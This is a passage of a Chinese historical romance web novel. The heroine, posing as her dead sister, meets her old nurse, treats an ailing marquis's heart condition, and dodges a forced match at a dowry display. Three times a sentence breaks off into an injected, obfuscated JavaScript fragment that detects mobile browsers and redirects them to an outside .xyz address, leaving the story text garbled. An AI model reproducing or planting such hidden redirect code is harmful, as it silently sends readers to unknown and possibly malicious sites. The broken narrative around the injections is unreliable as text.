就在这个时候,周乐天咳嗽着出来透气,来福扶着他轻声说:“爷,要不我去打听一下,昨日咱们隔壁厢房投宿的是哪家姑娘?” 这个世界上,来福只怕是最了解自家爷的人。 昨儿看到侯爷听隔壁闺秀说完那番话,来福一看便知道,只怕是自家爷对墙那头的佳人心动了。 太医一再叮嘱他们家侯爷小心养着身体,否则怕会有损寿数,但是自家爷却不管不顾,瞧着竟是没把自己的命当一回事。 来福真的希望爷能有个上心的人,好歹能叫爷觉得活着还有些滋味儿。 他有这一番心思,便一门心思想撺掇自家爷,却没想到周乐天生气地说:“此话以后不许再提!” 看来福茫然的样子,周乐天心知来福没考虑那么多,只一心为自己打算,心中一软,耐心地给他解释说:“你当爷如今是什么人物?不过是个叛国小人,人人得而诛之,也就是靠着皇祖母,才能苟延残喘罢了。” 他说到这里,连声露出一抹自嘲的讥笑。 “谁说的!”来福不忿地说,“那明明就是陷害,爷您是顶天立地的大英雄!再说、再说爷您看上谁,谁还敢拒绝不成?” “你说得对,若叫人知道我有一点心思,陛下和皇祖母都绝不会允许有人拒绝。”周乐天说,“可正是因为如此,你才不可妄言。那姑娘德行上佳,日后自有自己的好去处,不可叫我这个废人耽搁了。” 他如此说,来福心中悲伤又替自家爷愤愤不平。 两人正说着话,转道出来,便看到门口院子树下,穿着鹅黄色绣花比甲的关怀素静静站在那里。 周围道长们从她身边路过,身边是寺庙里传来的晨钟暮鼓之声,秋风萧瑟,单单她静立在下午和煦的日光里,如画中人一般。 “李大姑娘……其实很漂亮啊。”来福瞪大眼睛,压低声音轻声说,“丝毫不逊色名满京师的闺秀呢!” “胡说什么!不可随便谈论人家女儿家!”周乐天轻斥完,微微蹙眉,有些担忧地说,“我瞧着她这**来,显见是清楚许多了……哎,可惜我如今也是个废人,便是旧人之后,也不过能嘴巴上维护几句罢了。” 说到这里,周乐天神色瞬间黯淡下来。 来福生怕他伤心,连忙压低声音说:“爷,到时辰了,咱们给兄弟们要上香添香油了!” 这是他们留在寺里还没回京的原因,因此来福一说,周乐天便立刻转身,一路往供牌位的地藏殿去了。 而另一边,关怀素眼睛一亮,终于等到了风尘仆仆赶来的师兄与钟妈妈。 几人在袇房相见,门一关,钟妈妈就左看右看,而后眼圈红了,说:“姑娘怎地瘦了这么多!” “妈妈……”算来已经足足三个多月不曾见到钟妈妈,关怀素自己一个人的时候,平八仙庄之乱、入李家后宅、与郡主对峙都怡然不惧,但是此刻看到自小带着自己长大的妈妈,才仿佛一下子从杀伐决断的大人又变成了任性的小孩儿一般,呜咽着抱住钟妈妈,积累的痛苦和委屈如洪水一般瞬间决堤。 又怕人家听到,只能压低声音,如受伤的小兽一般对钟妈妈哭着喊:“妈妈,我的姐姐**,我才知道有个亲姐姐,结果姐姐就**,妈妈……” “哎、哎,妈妈知道,妈妈知道……”钟妈妈的眼泪也跟着小河一般往下淌,哭着摸着关怀素的头发说,“妈妈知道,姑娘和娘子一样,都是重情的性子,姑娘难受,妈妈知道,妈妈都知道……” 两人抱头痛哭一番,像是要把近日的担忧、恐惧与压力全都融在哭声里一般,旁边的柳叶与孙文书都忍不住红了眼眶。 痛痛快快地哭完一场,才终于有心情说起别的事儿。 “姑娘,我听说大姑娘临终前,说发现小姐的死不对,可是真的,大姑娘**而死又是怎么回事?”钟妈妈憋了许久,如今见面,终于一股脑问起来。 关怀素便把所有事情都说了,最后说:“那卖山货的,我回京前便叫人去查了,他们行事虽然谨慎,但是雁过留影,总不能滴水不漏,多寻摸一些,总归是有消息的。前些日子传来消息,说有几个外乡人曾经在几十里外住过几天,顺着这条线,我就让他继续在查,总归能把人揪出来!” 说到这里,钟妈妈便含泪点头,说:“姑娘安排得十分好,总归把背后人揪出来,血债血偿!” 说到这里,钟妈妈脸上露出了煞气。 关怀素说:“至于阿娘的事情,年月太久,我没什么头绪。但是想着先从姐姐身边伺候的丫鬟下人查起,一个个把李家下人梳理干净了,总归能找到些办法。妈妈可曾记得阿娘在李家的事情,有什么要提点我的吗?” 钟妈妈闻言,立刻说:“我急慌慌地上京,也是为了这事儿。如今李家家里是谁在当家?当初娘子身边伺候的亲近人,如今在李家有多少?” 说着,钟妈妈便连忙报了好几个名字,柳叶听完,摇头说:“丁妈妈在家里打点一圈了,全没听过这些人。” 钟妈妈愕然,又问了几个人,竟又是一个都没有。 她悚然而惊,说:“竟一个关家下人都不在了?” 一时之间,屋里四人一时不寒而栗。 “我原先只有五分怀疑娘子死因有问题,如今看起来,竟只怕有八分不对劲了!”钟妈妈眼泪长流,说,“可怜娘子一心信了李珺,到头来竟所托非人……” “母亲别哭了,如今还是要快些将李家诸人性情说给师妹清楚,否则师妹一人在李家,怕要吃亏啊!”孙文书见阿娘忙着哭,立刻着急地催促母亲。 钟妈妈闻言,立刻振作起来,一擦脸,连声说:“是、是我老糊涂了!” 说着她抓住关怀素的手,连声说:“姑娘,我也不知道谁会想置娘子和大姑娘于死地,但是当初娘子在时,与老夫人最为不睦!” 说着,钟妈妈便把当初关娘子下嫁之后,李老夫人动辄索要钱财的事情一一说出来,又说:“老夫人爱好奢华排场,非金器不用,每日光饭食花费一二十两都是常事,便是如此奢靡,娘子也从不计较。只是老夫人后来狮子大开口,竟在娘子怀胎之后,要求娘子把全副嫁妆交由她来管理……” “荒唐!”关怀素闻言,忍不住惊的脱口而出,“说破天也没这个道理去!” “是啊!又不是什么丧德行的破落户,再说了,李家也没遇到什么要大钱的时候,娘子自然不肯答应。”钟妈妈擦了擦眼泪,说,“但是那老虔婆恨上了你娘,竟做主提了身边的丫鬟偷偷开了脸,给了你父亲做姨娘。” 那便是崔妙人了。 “一开始你娘还不知情,直到发现的时候,才发现崔妙人竟是已经怀胎两月了!”钟妈妈说,“娘子大怒,便去了八仙庄独居,且打算生下孩子后与李珺和离……谁想到后来出了这么多事情……” 这便是钟妈妈知道的全部了。 关怀素听完,心中百感交集。 她早感觉老夫人不喜姐姐,如今总算明白了来由。 “辛苦妈妈了。”关怀素拍拍钟妈妈的背,轻声说,“我回去便从这里查一查。” “师妹若是不方便,随时找我。”孙文书怕她没有人手,便主动开口。 “跑腿的人手我倒是不缺,但是如今手边有个大事,非得师兄与妈妈帮我,才能让我放心。”关怀素在路上听柳叶说起银钱之事时,脑中就有了计较,这会子便对孙文书说,“师兄,你可记得祖父留下的手书之中,有个改良飞梭机?” “记得,师傅说若是改良好,织布从此便能快好几倍。可是师傅他老人家研究许久,说是有个连环锁扣总是出问题……”孙文书说到这里,看到关怀素神色不对,反应过来,震惊地问 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这东西想到难,但是制作起来一点也不难。当时关怀素研究这个,本来是想跟祖父嘚瑟一番,结果没想到还没拿出来,祖父就病危,到后来关怀素也没心情管这个事儿了。 没想到多年后又拿出来,还要派上大用场。 孙文书看得连连点头,又对她说:“师妹,难怪师傅总说你天资聪颖,这机器你一说我就明白了,只你不说,我一辈子也想不到这里来!” 孙文书也是个爱工学的,这会儿看到新图纸,兴奋地连连点头,如痴如醉,只恨不得立刻便带着老母回去开始研究。 钟妈妈听到这里,悲伤稍减,想着能给关怀素帮手,心中瞬间有了干劲,连声对关怀素说:“姑娘你想做什么,只管安排,可是要妈妈开个铺面,卖这些布匹?” “倒是无需,我想的是,妈妈去开个小织布坊,只管每月给来往商贩卖一小批布匹,换些钱财就是。”关怀素可不敢叫钟妈妈太树大招风,一则是怕京师旧人注意到钟妈妈,二则是她也担心贪多招摇,到时候给有心人注意到。 京师不比地方,工学这些东西,随手钻研就能换钱,素来是从不缺这些黄白之物的,但是相对的,也容易被有心人盯上。 关怀素幼时,就总能遇到祖父高兴研究出了什么,没开心几天,立刻有人登门,半是胁迫地逼迫祖父“贩卖”出自己的新研究。 在永年县,好歹当年天子帝师的身份还能吓唬一下不怀好意的人,便是眼馋,也是备好礼上门求,但是京师这地方卧虎藏龙,若是真被注意到,只是抢走东西还好,就怕这些人一不做二不休,把钟妈妈甚至师兄直接抓走当做家奴,可就棘手了。 几人商量好,又约好了日后若是有事情,便叫师兄帮着传信,日后初一十五也可在寺里相见,关怀素才依依不舍地带着柳叶离开。 “姑娘。”一出了厢房门,柳叶就看到姑娘眼睛有点发红,她忍不住开口想安慰,关怀素却只摇了摇头,拿出手帕擦了擦眼睛,深呼吸整理情绪,打算离开。 偏就这么巧,因边走边埋头收拾帕子,关怀素才转身,拐角处走出来个人,两人差点就当场撞上。 得亏两人都反应非常快,各自退了一步,各自站稳一看,齐齐眉头一皱。 第三十五章 斗嘴与药方 “李姑娘,太子殿下今日一早就离开了,你还未得知吗?”宋律一看清楚眼前人,立刻皱起眉头,凤眼微眯,嘲讽地开口。 关怀素一眼便认出,此人在赵家宴会时陪在太子身边,便是女子们倾慕的郎君之一,刑部尚书家的宋三郎宋律。 关怀素早知道他对姐姐十分偏见,当初姐姐被赶去庄子上居住,起因便是此人出言讥讽。 关怀素冷脸问:“太子殿下既然不在,您又为何在此?” 宋律留在此地,乃是因为明日家中阿娘与小妹要来寺里上香,他留在此地陪伴。 但是他当然不会与关怀素解释,因此只冷笑说:“李姑娘不必在我面前装傻,你有何图谋,真当大家都是傻子?” 关怀素冷声反问:“恕我愚钝,竟不知道来寺里给亡母添灯油是有什么图谋?” “我只想告诉你,你虽姿色尚可,但是若是想以此就能打动贵人,却还是太过愚蠢。”宋律见她不思悔改,心中厌恶,冷声说,“殿下见过美人不知凡几,你也不必以为自己多么与众不同。” 关怀素对此人愈发厌恶,盯着宋三郎冷声问:“敢问公子,郡主府邸守卫森严,太子殿下的行踪更是无人敢窥视,我如何预先知道太子殿下何时会到,还买通郡主府邸所有下人配合我?” 此事宋律还真是未曾想过,这时候登时一愣。 关怀素见此,便上前一步,继续盯着他质问:“宋大人乃是刑部尚书,相信宋公子便是审家中犯人,也得有证据才能定罪,此事疑点重重,公子却全然不顾,竟一股脑就定了我的罪名,想来是看我一个孤女可欺,宁可逼死我,也要为大人物增添一点风韵故事来!” 此话说得十分诛心,宋律平生最是清高自持,哪里经得住这种指责? 他闻言大为暴怒,怒斥:“你说什么?!” “住口!”二人正吵得不可开交,眼见着剑拔**张之时,从拐角处走出来一人怒斥。 关怀素回头一看,便见到面白如纸的年轻郎君,正是那日也在宴会见过的平安侯周乐天,他虚扶着身边人,走到面前,一开口便是一串咳嗽。 声音听起来喑哑、肺气空悬,关怀素不用把脉就知道,这人身子破败的厉害。 但是虽身子不好,此人言语却十分冷厉,对宋律呵斥:“李姑娘说的清楚明白,殿下行踪虽不算格外隐秘,到底也不是闺阁女儿家随便能打听到的。福宁的府邸里,也不是随便一个人可以随意走动,宋律,你心中有成见,可也不能随意践踏一个姑娘的闺誉!” 宋律脸上神色变幻,他咬牙,冷声说:“我会如此说,自然有我的道理。” “哦?是什么道理,你现在便说!”周乐天便皱眉,说,“把话说清楚,否则别血口喷人!” “你!”宋律一时冲动,真的很想说出来,但是他看了看旁边的关怀素,又生生忍下来,大怒甩袖,说,“我们走!” 说完,竟转身就走。 “多谢侯爷仗义执言……您怎么了?”关怀素正打算行礼,却见到强撑着的周乐天猛地抓住自己的心口,而后大口喘着气,竟一时站立不稳。 旁边的来福吓得不行,连忙从袖子里摸出救心丸给自家爷压在舌下,又扶着人坐在廊下的凳子上,着急地给周乐天顺气。 “他这是……心疾?”关怀素瞧着周乐天面色惨白,含着救心丸一直挣扎着喘气,瞧着十分眼熟,她立刻上前,一把握住周乐天的手。 来福还没呵斥,就见到她的手指捻起来,竟是医者摸脉的动作。 几乎才听了几息,关怀素神色就凝重下来,皱眉问:“侯爷,您曾被人伤过心脉,而后久拖未治?” “是。”来福本来还觉得她行事冒昧,此刻听她一把脉居然就听出自家爷的问题,竟是如积年医者一般,顿时心中大喜,连忙问:“姑娘懂医术?” “我只略通岐黄之术。”关怀素年幼就是这个病,她并不多解释,只凝重地说,“拖得太久了,要想大好,只怕要去找医圣公孙文秋老先生。” “这……当初咱们爷出事之后,就满天下找老先生了,只他老人家多年隐居,一点线索也没有……”来福面露苦涩,看着自家爷,难受地说,“医圣他老人家也已经古稀之年,也不知道还在不在世……” 关怀素十分懂。 公孙伯伯不喜与人交际,便是关怀素和祖父,当年给她调理的差不多之后,其后每年也是等公孙伯伯定期来访换药方,其他时候想找都找不到人。 周乐天的脉象实在是太差了,关怀素皱眉,又探了探周乐天的脉,心中愈发沉重——若再不下对症之药,周乐天只怕没有几年寿数了。 他这症状和年幼的自己极其相似,稍微把伯伯留给自己的方子调整一二,就十分对症。 只是姐姐不该懂这些的,若是贸然出手,只怕要遭人怀疑。 可是…… 关怀素犹豫地看着好容易缓解了心疾的周乐天,他此刻不但脸色雪白,便是唇也白的吓人,手更是生冷的没有一丝热气,整个人像是一触就能碎掉的玉像一般。 这可是当初拒敌八百里、收复西北十三座城池的少年将军啊! 当年那鲜衣怒马少年郎,挥舞**浴血破城、长驱直入的身姿似乎还在眼前。 想到当年此人的意气风发,想到河西城池里的百姓给他立了长生牌位日日供奉,感激他把大家救出水火,再想到那逼人的热浪和刀斧手身上的血腥……关怀素咬咬牙,到底不能坐视此人就此殒命。 她轻声说:“我这里有一道方子,出自医圣之手,恰好是针对心腑之疾的,许是比这救心丸更对症一些。” “真的?”来福一时大喜,差点当场跪地道谢! 关怀素点头,也不耽搁,当场叫道童去拿了纸笔,关怀素把药方默下来,然后又说:“如此先吃三四个月,到时候好一些了,便再换新的方子。” 便才起身打算告辞。 “多谢姑娘,此事我不会走漏半点风声。”周乐天对关怀素认真地说。 关怀素心中放下心来,笑了笑点头告辞了。 “爷,您怎地还特地说要保密?李姑娘在家里不好过,我方才还想,要不咱们大张旗鼓给她送些礼物去撑腰呢。”来福小声说。 “李家人贪婪薄情,刮走了关娘子所有东西,这药方子指不定还是留在八仙庄的东西,若泄露出去,惹得李家人对她逼问强夺就不好了。”周乐天摇头,轻声说,“所以决计不可泄露出去。” 来福这才明白,立刻连声保证着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16183311|181019||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 夜风寒凉,一阵风吹来,叫周乐天连连又咳嗽起来。 “你帮我盯着点赵二郎和王家,叫他们**把李姑娘塞去殿下那边的心思,就说我也是关老先生半个弟子,再做如此算计,我就不再袖手旁观了。”周乐天沉声吩咐着,扶着来福的手往地藏殿里去。 那里其中一殿内,整整齐齐立着三面墙的牌位,密密麻麻,一层一层,全是长明灯。 周乐天进门便跪下闭眼静思,而来福则是熟练地拿起香油,眼圈发红地继续一盏盏添没添完的香油。 满墙的牌位和灯密密麻麻,方才听道童说起外头纷争匆匆赶出去,这会子还剩一大半没添完。 直到傍晚,二人才结束了这沉默的祈福,收拾回京。 关怀素并不知道周乐天并不是偶然遇到她与宋律吵架,而是特地赶来解围。 她事情全数办完,第二日一大早,东院妈妈来说,今儿要去谢妆宴,又提醒是大喜事,让穿得鲜亮些。 “昨儿我们回来那么大动静,偏不说,非得到一大早的,让人怎么忙活的出来!”丁妈妈把人送走就啐骂。 关怀素笑着摇头,说,“我还当隔壁真是木人菩萨的好性儿呢,可见不是。” 柳叶急急忙忙开箱笼选衣衫,边生气地说:“姑娘,隔壁是故意的吧?让打扮好,还临时告知,这不是在折腾人么!” “是在折腾我们呢。”关怀素选好了衣衫,一边让柳叶给她换上一边说,“我这出门兴师动众的,每月初一十五都在提醒家里我娘的存在,自然有人心里不舒服,想快些把我打发出去了。” 孙大娘子作为继妻,这些年过的尊贵体面,只怕不但外头人,家里恐也早忘了前头主母,但是关怀素这么一折腾,等于一直提醒天下人她继室的身份。 孙萍养尊处优这么多年,心中定然不愉。对此关怀素早有预料,但是她既然敢去,自然也不怕这些小小挤兑和报复。 换好衣衫,关怀素便匆匆赶到东院,就见孙大娘子神色冷淡地盯着自己。 “母亲安康。”关怀素假作没发现任何不对,上前请安。 “快起来吧。”孙大娘子瞬间露出笑容,看着关怀素起身,做出一副回忆的样子,说,“这一晃眼已经十几年了,当年我进门的时候,你还是个走路都不利索的奶娃娃。如今一看,竟出落得这般漂亮了。” 关怀素垂眉敛目,轻声说:“母亲谬赞了,婉玉哪里及得上二妹妹与三妹妹。” “哪里就及不上了?我们家大姑娘这般品貌,母亲一定帮你认真看看,给你选一个全天下最最好的郎君,这才相配呢!”孙大娘子笑得愈发慈爱了。 关怀素行礼,温声说:“婉玉只想着多陪伴父母,多尽尽孝心。” “知道你们女儿家脸皮薄,我就不打趣你了。”孙大娘子笑着,两人之间像是在说贴心话一般。 只是关怀素心里知道的非常清楚,孙大娘子不是在开玩笑,她这就是在直接暗示自己在相看了。 若是姐姐在此,或是其他女儿家,说到亲事再怎么羞怯,到底有些好奇与期待的。 但是关怀素心中却十分清楚,孙大娘子定然没憋什么好主意。 各怀心思之中,一家人赶到了东道主家里。 第三十六章 听壁脚 到了地方,刚巧正是晒妆时候。 大家伙儿笑着招呼,凑过去看,便看到光是成套的头面就有六套,小的配饰等等齐全,时兴的料子放了足足二十四箱,又有陪嫁的小庄子一个,粗看一下,这嫁妆至少价值千两。 婉蓉站在最华丽的莲花金冠前,一脸艳羡。 关怀素也在看嫁妆呢,听到身侧婉淑说:“真羡慕大姐姐。” 关怀素不明所以,没有搭话,但婉蓉不需回答,自顾自地说:“大姐姐到时候出嫁,光是八仙庄这个皇庄,就抵得过陈家小姐这所有嫁妆了。更别提父亲心疼大姐姐,到时候添妆等等估计也不少……我们三个姐妹之中,只怕也就大姐姐日后嫁妆最多了。” 关怀素这几日相处下来,已经知道婉淑性子外柔内阴,此刻说这些怕又是有什么计较,但也不着急,只笑了笑,看她想说什么。 婉淑见她不为所动,捏了捏帕子,说:“我和二姐姐都有兄弟,阿娘总也要为我们的兄弟着想,哪里像姐姐,日后什么都在自己手里,嫁出去就能当家做主,往后日子可比我们好过多了。” 关怀素听她这么说,有些反应过来了婉淑的意思,孙大娘子在安排自己的婚事,婉淑这么说,是在暗示她嫁人会过得优渥舒心。 好无耻的母女! 当年她娘万贯陪嫁,如今孙大娘子却想一个庄子加一点陪嫁就打发姐姐,婉淑还说得如此冠冕堂皇,仿佛还要等她感激。 关怀素内心愤怒,面上笑说:“三妹妹说得这么期待,难道是自己想嫁人了?” 婉淑顿时一愣,本来是想让大姐姐心中期待,一会儿母亲说起相看的事情,便也就顺理成章,却没想到大姐姐几句话把话头扯到她身上,女子恨嫁这种话说出去可不好听,她又羞又窘地说:“我与姐姐说真心话,姐姐怎地反倒拿我做取笑?” 恰在此时,孙大娘子喊她们过去,两人便止住话头。 一走近关怀素就听到孙大娘子与身边长脸夫人笑着说:“这便是我家的大姑娘婉玉,是不是个美人儿?” 又对关怀素说:“婉玉,来,跟马夫人打招呼。” 关怀素稍微看了下,心中知道,这大约就是孙大娘子给姐姐找的人家。 “哎哟,确实是个水灵姑娘。今年几岁了?”马夫人目露精光,拉着关怀素就上下看,接着越看越是欢喜,竟脱下手上金镯,想给关怀素戴上。 “夫人不可。”关怀素立刻抽手躲开,行了一个礼说,“多谢夫人好意,但是礼物贵重,婉玉愧不敢受。” 非亲非故的,突然送这么贵重的见面礼,这其实就是代表相中了她做儿媳。 假如今儿关怀素接了,到时候很多事情就很难辩白了,所以关怀素当然不会接。 “你这孩子,马夫人是喜欢你,长者赐不敢辞,你就拿着吧。”孙大娘子在旁边笑着嗔怪着说。 如今这个场面,如果不是她在此,便是姐姐的遭遇。 姐姐性格温柔,孙大娘子这一招,她定然无法反抗,心中不愿意也只能乖乖戴上这镯子。 没有人会问姐姐愿不愿意嫁人,喜不喜欢对方,只怕就只会乖乖地被嫁出去,从此关家血脉彻底从李家消失,腾出地方给李家人快活过日子。 想到这里,关怀素突然心中升腾出一股怒气来。 她笑着行礼,对孙大娘子说:“原来是长辈,只是不知是家中哪位长辈,如何称呼?” 孙大娘子一噎,亲戚之说,不过是没结亲之前的托词,关怀素这么一挑明,倒是让大家都有些下不来台。 “你这孩子,收下便是,怎地拿个礼物还这么硬邦邦的,倒像是人家欠了你的外债一般。”孙大娘子勉强笑了一下,说。 关怀素立刻上前,接过了马夫人手里的金镯子。 “哎,这才是,你这孩子就是心思重。长辈送你东西,都小心翼翼的。”孙大娘子看她接了东西,觉得自己筹谋成了一半,又觉得关怀素再怎么被教导好,到底还是不敢得罪她这个大娘子,忍不住笑了一下,有些得意地说。 “是,是婉玉想太多了。”关怀素开口,说,“金镯虽然贵重,但是想来可能对夫人来说不过尔尔,只是随手赏小辈的玩意儿,倒是婉玉着相了。” 这话说的马夫人脸上慈爱的笑容僵了一下,孙大娘子立刻说:“那倒不是,马夫人是格外喜欢你,第一眼见你就有眼缘,才如此慷慨呢。” 关怀素立刻笑着行礼说:“多谢夫人,刚巧婉玉每月初一十五都去流云台寺给亡母祈福布施,正觉得囊中羞涩,如今有了夫人赏我这个金镯,我融了换成银钱,又能做几场布施。他日我到了佛前,也会替夫人请香积德的。” 说完,关怀素笑容灿烂,孙大娘子脸上直接变成了黑锅。 关怀素撇清之意太清楚,气氛瞬间僵持。 恰好此时,已经开席摆宴,众人纷纷结伴去院子里吃席。 关怀素立刻跟着入席,吃到一半去更衣,没想到出来的时候,带路的小丫鬟不见了。 方才吃席的时候,关怀素心疼柳叶站着脚疼,让她拿钱出去叫席面吃饭。 没想到此时竟落单了。 关怀素等了一会儿,想等着小丫鬟过来接自己,却久候未至,于是只能凭记忆走回去,结果出门绕了两个弯,竟绕到了一个十分偏僻的小院子。 这耳房的院落乃是正屋夹壁后头的小屋,关怀素听着隔壁都能听到影影绰绰的说话谈笑声,显见大方向没错,就想抬脚出门去,却突然听到门口仓促的脚步声,似乎是有个人走了进来,而后身后是一个女子的声音,说:“乐天哥哥,你可是在躲我?” 关怀素立刻躲在廊柱后面,听到女子的声音有些耳熟,心中正在疑惑,考虑要不要出去时,就听到一道熟悉的声音叹了口气,说:“三姑娘,你素来端方温柔,是京师出名的十全姑娘,我无事怎会躲你?” 那三姑娘沉默了好一会儿,才用一种有点古怪的、带着哽咽的声音轻声问:“乐天哥哥,你说我是十全姑娘,但是你却始终看不上我,是不是?” 周乐天沉默一瞬,想开口说什么,却听到赵白芷说:“别用劳什子你是叛国之人之类的话来说,哪怕全天下的人都误会你,我也信你!乐天哥哥,哪怕如此,你是不是也不愿意娶我,你是不是就是看不上我?” 周乐天登时沉默了,良久才长叹一口气。 这便意思十分清楚了。 女子沉默了一下,突然声音里的哽咽消失了,又变得端庄温柔,再没有一丝破绽,她轻声说:“我知道乐天哥哥的意思了,请侯爷恕白芷唐突之罪。” 说完,关怀素听到脚步声,显然是那姑娘离开了。 关怀素不敢动,直到听到男子的脚步声去远了,她才松了口气,从柱子后走出来。 结果一走出来,却看到寒风呼啸的冬日里,这小院子里满园凋敝之中,站着一个裹着狐裘、面如冠玉的年轻男子……不是周乐天又是谁? 偷听被抓个正着,关怀素尴尬地站在原地,一时竟不知如何是好。 “……大姑娘。”周乐天进门就意识到了这院子里有人,但是他没来得及阻止身后的姑娘说话,又担心若是心怀不轨的人听到,到时候把今日之事宣扬出去,不免横生波折,才特地用计诱人出来。 结果看到是关怀素,周乐天登时一愣。 “见过侯爷。”关怀素被抓了个现场,又听到的是感情私事,十分尴尬地行礼请罪,“我方才走错地方,听到脚步声,怕冲撞了便躲了起来。不小心听到,还请侯爷见谅。” “你……”周乐天有些不好启齿,但还是艰难地问,“你方才都听到了?” 关怀素不想瞒他,便点点头,轻声说:“是。” 周乐天神色更为不好了。 他神情激动,轻声说:“此事绝不可为他人知晓,不可坏了她的清白……咳咳咳咳……” 他本就身体不好,一激动起来,登时疯狂咳嗽。 关怀素急忙走过去,举起手起誓保证说:“我知晓,此事天知地知你知我知,除了白芷妹妹,绝不会有第四人知晓。” 周乐天听到她如此说,终于放下心来。 看周乐天慢慢停住咳嗽,关怀素想到赵家姑娘之前说话做事滴水不漏、总是温柔笑着的样子,再想到她方才极力克制却依然掩饰不住的伤心,她心中一软,忍不住多嘴了一句,说:“侯爷,看您如此紧张,显然也是十分关心赵妹妹,她身份品貌不俗,又与您一起长大,做侯夫人也十分当得,您这是……” “不可胡说!”却见周乐天猛地皱眉,想说话,结果手一抖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16183312|181019||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,捂嘴的帕子掉在地上。 他还没说什么,关怀素便蹲身捡起来递给他。 周乐天接过,轻声说:“我与她不过儿时情谊,今日之事,还请大姑娘勿要再提……” 他说到这里,猛地愣了一下。 因为这次递东西凑得很近,周乐天猛地看清了关怀素的手。 眼前李大姑娘双手粗糙、指节还有老茧……这是一双时常动手做活计的手,而且这不是针线活的痕迹! 周乐天心中迅速闪过什么,但是下一瞬变成怒意——难道这李大姑娘在家里竟要亲自做活计吗? 他立刻问关怀素:“李家是否不只是在庄子苛待你,是否在家中也是如此?” 关怀素完全不明白周乐天的话题怎么跳到了这里,她一愣,顺着周乐天的眼神看到了自己的手,登时心中一紧! 她自小跟着祖父做工学活计,便是刀斧锤子从不离身的,一双手不但有老茧,还有许多细小的积年伤口! 而姐姐是养在深闺、等闲外男都不见的闺阁女儿家,手上是没有这些茧子与伤口的! 若是李家有人注意到,只怕要起疑心! 想到这里,关怀素连忙把手收回袖子里面,后背一瞬间流下冷汗,立刻说:“在、在庄子上的时候,人手不够,有时候便也做些粗活。” “真是岂有此理!”周乐天闻言,立刻勃然大怒,说,“此事我非要去问问李大人,到底是怎么管理后宅!” 关怀素一听,连忙阻止,说:“如今在家里已经好许多了,若去说,倒显得我在外面说家里是非,还请侯爷勿要如此。” 她这话说得也是,周乐天想到她一个孤女,许多委屈受了也只能打落牙齿和血吞,登时心中也涌起一股悲凉来,轻声苦笑说:“对不住,可能我如今说话也不顶什么用,却也帮不了你太多了。” 关怀素看他神色之中露出寥落之意,想到他昔年横刀立马的风光,一时心中十分心疼,立刻说:“侯爷您是英雄人物,后宅这种小事,何必在意。” 周乐天苦笑一声,轻声说:“如今只怕也只有大姑娘会如此说我,外头说起我……” 说到这里,周乐天觉得不该说下去,不然显得倒像是诉苦,不免显得矫揉造作。 因此他收了话,只轻声说:“姑娘离席也许久了,快些回去吧。” 关怀素闻言,也不多话,只点点头,行了个礼便匆匆往回走。 只是走到一半,有些不放心地回头看,就见到周乐天一个人孤零零地站在院子里,瞧着格外孤苦寥落。 关怀素心中叹了口气,一时不知为何,心中竟觉得此人有些可怜。 但是她也不再耽搁,便匆匆地去了。 她没看到,身后的院门口,萧瑟的夹道里,正站着一个人,听完了她与周乐天的全部对话。 此人正是赵白芷。 她天性聪慧,周乐天听到有人而留下,赵白芷也察觉到了不对,立刻便躲在此处,想着弄清情况。 这会子看到关怀素匆匆离去,她神色有些担忧紧张,但是到底也匆匆跟了出去。 关怀素赶回摆宴的园子,刚准备入内,却没想到才到门口,宋兰突然起身,一把抓住她。 “婉玉姐姐,我突然腹痛,你能带我去方才去的恭房吗?”宋兰开口。 关怀素一愣,被宋兰一把拉住就往外走。 关怀素不明所以地被宋兰拉着出了内院,一路走到外头,宋兰才从怀里拿出一个香包来,拆开就往关怀素身上倒。 “宋兰妹妹,你这是做什么呢?”关怀素给她弄得一愣一愣的,却听到宋兰压低声音说,“婉玉姐姐,你自己闻不到吗?你身上好大一股子龙涎香的香味。” 关怀素一愣,瞬间明白了宋兰话里的意思——这是周乐天身上的熏香味道!她方才与周乐天站得太近,说了一会子话,龙涎香霸道,且她身上熏香太淡,竟被龙涎香压下去了。 龙涎香金贵,素来除了宫中能常用,本朝能日日常年用得上的,也不过就几个人了。 而如今还能出现在这里的,除了周乐天不做其他人想! 若是方才她坐下被人闻到,只怕今儿就要出大事了! 关怀素想到这里,饶她一直镇定,也不由得背后冒出一身冷汗来。 第三十七章 争锋 “多谢妹妹!”关怀素心中一紧,立刻也拆了自己的香包,把里面的香粉往耳后脖子上擦拭,而后再抖抖身上的香粉,感觉到满身都是桂花和木香,才笑着说:“方才我不小心碰到了一个人,想来是不小心沾上的……” “婉玉姐姐不用解释。”宋兰微微叹了口气,低声说,“我知道你不是那种人……只是你今儿难道又是遭人戏弄了?” 关怀素一愣,看着宋兰。 却见宋兰低声说:“上次我跟姐姐你说,后宅之内,一味安分随时,并不会好过,上次在郡主府内我看得清楚……” 宋兰正要继续说什么,突然听到不远处传来一道温润的女子声音,带着笑意轻唤:“哎呀,婉玉姐姐、婉蓉妹妹、兰妹妹,你们都在门口等我啊?” 